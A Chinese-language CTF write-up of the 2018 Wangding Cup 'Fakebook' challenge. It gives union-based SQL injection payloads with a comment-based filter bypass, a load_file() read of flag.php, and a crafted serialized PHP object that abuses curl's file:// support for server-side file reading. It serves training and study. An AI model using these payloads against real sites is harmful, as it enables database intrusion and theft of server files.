[网鼎杯 2018]Fakebook

解法一

打开题目是这样的

首先扫一下目录扫到 flag.php(有可能存在 flag,但是访问后无内容)、robots.txt,访问 robots.txt 发现有一个 user.php.bak 的备份文件,下载源码稍后再审计。主页注册一个账号,登录后显示账号信息,点进用户名显示 username、age、blog 和一个 iframe 引入的用户填写的 blog 网址

url 处的 view.php?no=1,no 参数可能存在 sql 注入漏洞,页面上引入 blog 是用户可控的,那么也有可能会存在 ssrf 漏洞,先尝试手工注入

?no=1 and 1=1    //回显正常
?no=1 and 1=2    //回显报错
?no=1 order by 3     //正常
?no=1 order by 4     //正常
?no=1 order by 5     //报错,所以4列
?no=-1 union select 1,2,3,4--+        //过滤union select
?no=-1 union/**/select 1,2,3,4--+     //绕过过滤

回显位是 username,并且绝对路径是 /var/www/html/view.php

接着尝试 sql 注入获取信息

?no=-1 union/**/select 1,database(),3,4--+  //数据库名fakebook
?no=-1 union/**/select 1,user(),3,4--+     //用户root@localhost

root 权限时,load_file() 函数可以利用绝对路径去加载一个文件,所以直接读 /var/www/html/flag.php 文件获得 flag

?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4--+

解法二

接着 sql 注入获取信息

?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()--+     //获得users表
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'--+        //获得一些字段

sql 注入查看 data 字段内容,是一段序列化后的 UserInfo 对象

?no=-1 union/**/select 1,group_concat(data),3,4 from users where no='1'--+
//O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:1;s:4:"blog";s:20:"http://www.baidu.com";}

查看扫目录时得到的源码 user.php.bak,源码中有一个 UserInfo 的类,主要功能是建立会话并判断是否是有效的请求,如果不是则返回 404,如果是则返回 url 的内容。get 方法中,curl_exec() 支持 file 协议,如果使用不当就会导致 ssrf 漏洞通过 file 协议读文件

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))://)?)([0-9a-zA-Z-]+.)+[a-zA-Z]{2,6}(:[0-9]+)?(/S*)?$/i", $blog);
    }

}

所以思路为 sql 注入发现 data 字段存放的是用户信息经过反序列化的结果,结合前面 view.php 页面会加载用户的 blog 信息,所以这里有可能是利用反序化数据库中的 data 字段,然后取出 blog 并加载。在反序列化中构造 file 文件协议,内容如下

<?php
class UserInfo  {
    public $name = "a";
    public $age = 1;
    public $blog = "file:///var/www/html/flag.php";
}
$data = new UserInfo();
echo serialize($data);
?>
//O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

select 1,2,3,4 的对应位置为 no,username,passwd,data,所以构造 payload 如下,iframe 内容 base64 解码后得到 flag 

?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'--+

参考文章:

https://www.abelche.com/2019/07/29/Writeup/WP-%E7%BD%91%E9%BC%8E%E6%9D%AF-2018-Fakebook/

https://www.cnblogs.com/junlebao/p/14104036.html

原文地址:https://www.cnblogs.com/wkzb/p/14843286.html